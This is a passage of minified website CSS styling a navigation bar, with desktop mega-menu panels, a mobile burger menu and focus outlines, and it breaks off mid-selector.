.mobile-navigation-content { top: 0px !important; border: medium !important; width: 16.875em !important; } .navigation.sosh + .overlay { z-index: 99990; } .navigation.sosh .logo { display: none; } .navigation.sosh.sticky.visible .logo { display: flex !important; } @media (max-width: 64em) { .navigation.sosh .logo { display: flex !important; } } .sticky-ghost { background-color: rgb(0, 0, 0); min-height: 0px; width: 100%; } .gp.navigation { min-height: 3.25em; position: relative; padding-top: 0px; padding-bottom: 0px; align-items: stretch; } .gp.navigation.sticky.visible { position: fixed !important; z-index: 10000000; top: 0px; } .gp.navigation.sticky.visible + .sticky-ghost { min-height: 3.125em; } @media (max-width: 80em) { .gp.navigation.sticky.visible + .sticky-ghost { min-height: 4.375em; } } @media (max-width: 64em) { .gp.navigation { min-height: 0px; } } .gp.navigation .desktop-navigation-content { display: flex; gap: 0.9375em; width: 100%; border-top: 0.05625em solid rgb(85, 85, 85); } .gp.navigation .desktop-navigation-content .mega-menu { position: static; display: flex; flex-shrink: 1; } .gp.navigation .desktop-navigation-content .mega-menu a { font-size: 0.875em; } .gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button { display: flex; flex-shrink: 1; font-size: 0.875em; line-height: 1em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel { display: none; border-top: 1px solid rgb(85, 85, 85); padding-top: 0px; padding-bottom: 0px; box-sizing: border-box; min-height: 29.375em; position: absolute; left: 0px; right: 0px; top: 100%; background-color: rgb(0, 0, 0); } @media (max-height: 40.625em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel { min-height: 21.875em; } } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone { display: flex; flex-direction: column; flex-shrink: 0; padding-top: 1.875em; padding-bottom: 1.875em; width: 20%; border-right: 1px solid rgb(85, 85, 85); max-height: calc(100vh - var(--top-offset) - 1.875em - 1.875em); overflow-y: auto; } @media (max-height: 40.625em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone { padding-top: 0.625em; padding-bottom: 0.625em; } } @media (max-height: 40.625em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone { max-height: calc(100vh - var(--top-offset) - .625em - .625em); } } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links { display: flex; flex-direction: column; margin-bottom: auto; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link { font-size: 0.875em; display: flex; padding: 1em 0.714286em; font-weight: bold; margin: 0px; height: auto; width: 100%; min-height: 2.85714em; box-sizing: border-box; align-items: center; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } @media (max-height: 40.625em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link { padding: 0.714286em; } } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link .icon::before { font-size: 1.5em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:last-of-type { margin-bottom: auto; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.icon.after.arrow-right::after { visibility: hidden; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.is-selected { color: rgb(241, 110, 0); background: rgba(255, 255, 255, 0.08); } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.is-selected.icon.after.arrow-right::after { visibility: visible; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:hover, .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:focus, .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:focus-visible { background: rgba(255, 255, 255, 0.08); text-decoration: none; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .bottom-links { display: flex; margin-top: 1.5em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .bottom-links a { padding: 1em 0.714286em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels { position: relative; flex-grow: 1; display: flex; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel { display: none; flex-direction: column; max-height: calc(100vh - var(--top-offset)); overflow: hidden auto; top: 0px; right: 0px; flex-grow: 0; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel.is-selected { display: flex; width: auto; flex-grow: 1; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel.is-selected .section-top { flex-grow: 1; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top { display: flex; flex-direction: row; gap: 1.875em; width: auto; padding: 1.875em 1.875em 0.625em; } @media screen and (max-width: 80em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top { padding-right: 0px; } } @media (max-height: 40.625em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top { padding-top: 0.625em; } } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid { --nb-columns: 3; display: grid; gap: 0.75em 1.875em; grid-auto-rows: min-content; grid-template-columns: repeat(var(--nb-columns), 1fr); flex-grow: 1; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid h3.category-title { grid-row: 1; font-size: 0.875em; margin-bottom: 0px; margin-top: 1em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list { grid-row: 2; list-style-type: none; margin: 0px; padding: 0px; display: flex; flex-direction: column; } @media (max-height: 40.625em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list { gap: 0px; } } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list li a { padding-top: 0.5em; padding-bottom: 0.625em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list li a.badge-new::after { display: inline-block; font-size: 0.75em; font-weight: bold; content: "NEW"; padding: 0em 0.3125em; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-left: 0.3125em; position: relative; top: -0.1875em; text-decoration: none; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder { margin-left: auto; margin-top: 1.3125em; font-size: 1em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation img, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder img, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder { flex-grow: 0; flex-shrink: 0; width: 16.875em; height: 22.5em; background-color: rgba(255, 255, 255, 0.08); } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation img::before, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder::before, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder img::before, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder::before { display: none; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation img.error, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder.error, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder img.error, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder.error { border: medium; background-color: rgba(255, 255, 255, 0.08); opacity: 0.07; object-fit: cover; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder { visibility: hidden; opacity: 0; height: 18.75em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .exit-links { margin-top: auto; display: flex; gap: 1.25em; flex-wrap: wrap; padding-bottom: 2.5em; padding-left: 1.875em; padding-right: 1.875em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .exit-links a::before { margin-right: 0.3125em; } @media screen and (max-width: 80em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .exit-links { padding-right: 0px; } } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .close-button { position: absolute; top: 0px; right: -2em; width: 2em; height: 2em; line-height: 2em; text-align: center; cursor: pointer; background-color: rgba(0, 0, 0, 0); border: medium; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .close-button::before { font-size: 1.25em; color: rgb(255, 255, 255); } .gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-selected { position: relative; } .gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-selected::after { content: ""; display: block; position: absolute; left: 0.3125em; right: 0.3125em; bottom: -0.75em; height: 0.25em; background-color: rgb(241, 110, 0); z-index: 999; } .gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-selected + .panel { display: flex; } .gp.navigation .desktop-navigation-content .mega-menu-button:hover { color: rgb(204, 204, 204); } .gp.navigation .desktop-navigation-content .events { margin-right: auto; } .gp.navigation .desktop-navigation-content .events > .event { padding: 0.3125em; color: rgb(241, 110, 0); } .gp.navigation .desktop-navigation-content .events > .event:hover, .gp.navigation .desktop-navigation-content .events > .event:focus, .gp.navigation .desktop-navigation-content .events > .event:focus-visible { color: rgb(255, 255, 255); } .gp.navigation .desktop-navigation-content .events > .event span { display: inline-block; font-size: 0.875em; height: 1.42857em; line-height: 1.42857em; } .gp.navigation .desktop-navigation-content ul, .gp.navigation .desktop-navigation-content ul > li { list-style-type: none; margin: 0px; padding: 0px; display: flex; gap: inherit; } @media (max-width: 71.875em) { .gp.navigation .desktop-navigation-content > ul { flex-basis: min-content; } } .gp.navigation .desktop-navigation-content > a, .gp.navigation .desktop-navigation-content > div > a, .gp.navigation .desktop-navigation-content > ul > li > a, .gp.navigation .desktop-navigation-content button.as-link { display: flex; padding: 0.357143em; font-weight: bold; box-sizing: border-box; margin-top: 0.625em; margin-bottom: 0.625em; height: calc(100% - 1.25em); align-items: center; color: rgb(255, 255, 255); outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .desktop-navigation-content > a:hover, .gp.navigation .desktop-navigation-content > a:focus, .gp.navigation .desktop-navigation-content > a:focus-visible, .gp.navigation .desktop-navigation-content > div > a:hover, .gp.navigation .desktop-navigation-content > div > a:focus, .gp.navigation .desktop-navigation-content > div > a:focus-visible, .gp.navigation .desktop-navigation-content > ul > li > a:hover, .gp.navigation .desktop-navigation-content > ul > li > a:focus, .gp.navigation .desktop-navigation-content > ul > li > a:focus-visible, .gp.navigation .desktop-navigation-content button.as-link:hover, .gp.navigation .desktop-navigation-content button.as-link:focus, .gp.navigation .desktop-navigation-content button.as-link:focus-visible { text-decoration: none; } .gp.navigation .desktop-navigation-content > a:focus-visible, .gp.navigation .desktop-navigation-content > div > a:focus-visible, .gp.navigation .desktop-navigation-content > ul > li > a:focus-visible, .gp.navigation .desktop-navigation-content button.as-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; } .gp.navigation .mobile-navigation-menu ul { list-style: none; padding: 0px; margin: 0px; } .gp.navigation .mobile-navigation-menu:not(.is-open) * { display: none; } .gp.navigation .mobile-navigation-menu.is-open .mobile-navigation-content { transform: translateX(0px); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content { display: flex; transform: translateX(-100%); transition: transform 0.3s; position: fixed; top: var(--top-offset); bottom: 0px; background-color: rgb(20, 20, 20); border-top: 1px solid rgb(85, 85, 85); border-right: 1px solid rgb(85, 85, 85); color: rgb(255, 255, 255); z-index: 99980; left: 0px; width: 22.5em; overflow: hidden; } @media screen and (max-width: 30em) { .gp.navigation .mobile-navigation-menu .mobile-navigation-content { width: 100%; } } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel { flex: 0 0 100%; overflow-y: auto; transition: transform 0.3s; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel > * { display: block; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel a { font-size: 0.875em; padding: 1.07143em; font-weight: 700; text-decoration: none; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back { display: flex; padding: 0.9375em; border-bottom: 1px solid rgb(85, 85, 85); outline: none; outline-offset: -2px !important; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -6px !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back::before { font-size: 1.25em; transform: rotate(180deg); color: rgb(241, 110, 0); padding-right: 0.3125em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .title { display: block; font-size: 0.875em; font-weight: 700; padding: 1.07143em; color: rgb(241, 110, 0); border-bottom: 1px solid rgb(85, 85, 85); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-1, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 { display: flex; flex: 0 0 100%; overflow: hidden auto; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2 .level-panel { transform: translateX(-100%); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 .level-panel { transform: translateX(-200%); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links { background-color: rgb(0, 0, 0); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a { border-top: 1px solid rgb(85, 85, 85); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a.icon::before { font-size: 1.42857em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher { display: flex; flex-wrap: wrap; justify-content: space-around; gap: 0.9375em; padding: 0.9375em; background-color: rgb(20, 20, 20); border-top: 1px solid rgb(51, 51, 51); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { display: flex; padding: 0.9375em; box-sizing: border-box; width: calc(50% - 0.9375em); align-items: center; justify-content: left; border: 1px solid rgb(51, 51, 51); } @media (max-width: 20.3125em) { .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { width: 100%; } } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * > i.icon { font-size: 1.2em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { display: flex; padding: 0.357143em; margin: 0.714286em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { margin-right: auto; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event { padding: 0.3125em; color: rgb(241, 110, 0); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:hover, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus-visible { color: rgb(255, 255, 255); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event span { display: inline-block; font-size: 0.875em; height: 1.42857em; line-height: 1.42857em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { background-color: rgb(0, 0, 0); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events .event { border-top: 1px solid rgb(85, 85, 85); font-size: 1em; padding: 0.875em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { gap: 6px; position: relative; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .icon::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .icon::before { margin-top: 3px; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .badge, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .badge { right: unset; transform: scale(0.85); top: 0.5em; left: 1.5em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel { display: none; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel.is-selected { display: unset; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link { border-bottom: 1px solid rgb(85, 85, 85); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link .icon { font-size: 1.5em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .bottom-link { padding: 0.9375em; display: flex; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel { display: none; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel.is-selected { display: unset; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category { border-bottom: 1px solid rgb(85, 85, 85); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category h3 { margin: 0px; font-size: 0.875em; padding: 0.9375em; font-weight: 700; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul { margin: 0px; padding: 0px; list-style-type: none; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a { font-weight: normal; padding: 0.75em 0.9375em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a.badge-new::after { display: inline-block; font-size: 0.75em; font-weight: bold; content: "NEW"; padding: 0em 0.3125em; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-left: 0.3125em; position: relative; top: -0.1875em; text-decoration: none; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content { background-color: rgb(255, 255, 255); display: flex; flex-direction: column; width: 100%; overflow-y: auto; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header { display: flex; height: 3.75em; background: rgb(38, 130, 142); justify-content: space-between; align-items: center; padding: 0px 0.9375em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header * { color: rgb(255, 255, 255); outline: none; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header :focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close { display: flex; align-items: center; justify-content: center; height: 2.5em; font-weight: 700; padding: 0px 0.375em 0px 2.1875em; border: 0px; background: none; position: relative; cursor: pointer; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { position: absolute; top: 50%; left: 0.9375em; width: 0.125em; height: 1.5625em; content: " "; background-color: rgb(255, 255, 255); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before { transform: translateY(-50%) rotate(45deg); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { transform: translateY(-50%) rotate(-45deg); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::after, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::after, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::after, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::after { color: rgb(238, 238, 238); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .logo { padding: 0px 0.5em; margin: 0px 0px 0px auto; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event { width: 100%; padding: 0px 0.625em 0px 1.25em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event::after { position: absolute; right: 1.25em; color: rgb(222, 37, 84); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event span { display: flex; position: relative; align-items: center; min-height: 3.5625em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button { display: flex; position: relative; color: rgb(0, 0, 0); font-size: 0.875em; align-items: center; width: 100%; min-height: 4.07143em; padding: 0px 0.357143em 0px 1.42857em; font-weight: 700; text-align: left; text-decoration: none; cursor: pointer; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button::before { position: absolute; top: 50%; right: 20px; padding: 3px; content: ""; border-style: solid; border-color: rgb(204, 204, 204); border-image: none; border-width: 0px 2px 2px 0px; transform: translateY(-50%) rotate(45deg); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded="true"] { background-color: rgb(238, 238, 238); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded="true"]::before { transform: rotate(-135deg); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-color: rgb(0, 121, 128) !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:not([aria-expanded="true"]) + .items { display: none; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items { background: rgb(238, 238, 238); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link { display: block; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.78571em; font-size: 0.875em; line-height: 2.85714em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-color: rgb(0, 121, 128) !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links { border-top: 0.1875em solid rgb(238, 238, 238); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a { font-size: 0.875em; display: flex; align-items: center; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.42857em; line-height: 2.85714em; outline-offset: 0px; font-weight: 700; color: rgb(0, 0, 0); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a:focus-visible { outline-color: rgb(0, 121, 128) !important; outline-offset: -0.25em !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a i { font-size: 1.71429em; padding-right: 0.3em; } .gp.navigation .icon.after.arrow-right { text-align: left; box-sizing: border-box; width: 100%; min-height: 1.14286em; line-height: 1.14286em; font-size: 0.875em; font-weight: bold; padding: 1.07143em; display: flex; align-items: center; gap: 0.714286em; } .gp.navigation .icon.after.arrow-right::after { color: rgb(255, 121, 0); font-size: 1.42857em; margin-left: auto; } .gp.navigation .icon.after.arrow-right:hover, .gp.navigation .icon.after.arrow-right:focus, .gp.navigation .icon.after.arrow-right:focus-visible { text-decoration: none; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .icon.after.arrow-right:hover:focus-visible, .gp.navigation .icon.after.arrow-right:focus:focus-visible, .gp.navigation .icon.after.arrow-right:focus-visible:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .gp.navigation .pos-marker { position: absolute; width: 0px; height: 0px; visibility: hidden; } .sosh.navigation .nav-list .nav-item .mega-menu-button, .sosh.navigation .nav-list .nav-item .dropdown-item-link, .sosh.navigation .events .event { color: rgb(0, 0, 0); border: medium; position: relative; display: flex; align-items: center; min-height: 3.125em; font-size: 1em; text-align: center; text-decoration: none; cursor: pointer; padding: 0px 1.25em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .sosh.navigation .nav-list .nav-item .mega-menu-button:first-of-type, .sosh.navigation .nav-list .nav-item .dropdown-item-link:first-of-type, .sosh.navigation .events .event:first-of-type { margin-left: -1.25em; } .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .events .event:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } @media (max-width: 60em) { .sosh.navigation .nav-list .nav-item .mega-menu-button, .sosh.navigation .nav-list .nav-item .dropdown-item-link, .sosh.navigation .events .event { padding: 0px 0.3125em; } } .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded="true"], .sosh.navigation .nav-list .nav-item .mega-menu-button:active, .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .mega-menu-button:hover, .sosh.navigation .nav-list .nav-item .dropdown-item-link[aria-expanded="true"], .sosh.navigation .nav-list .nav-item .dropdown-item-link:active, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover, .sosh.navigation .events .event[aria-expanded="true"], .sosh.navigation .events .event:active, .sosh.navigation .events .event:focus-visible, .sosh.navigation .events .event:hover { color: rgb(0, 121, 128); } .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded="true"], .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded="true"] span, .sosh.navigation .nav-list .nav-item .mega-menu-button:active, .sosh.navigation .nav-list .nav-item .mega-menu-button:active span, .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible span, .sosh.navigation .nav-list .nav-item .mega-menu-button:hover, .sosh.navigation .nav-list .nav-item .mega-menu-button:hover span, .sosh.navigation .nav-list .nav-item .dropdown-item-link[aria-expanded="true"], .sosh.navigation .nav-list .nav-item .dropdown-item-link[aria-expanded="true"] span, .sosh.navigation .nav-list .nav-item .dropdown-item-link:active, .sosh.navigation .nav-list .nav-item .dropdown-item-link:active span, 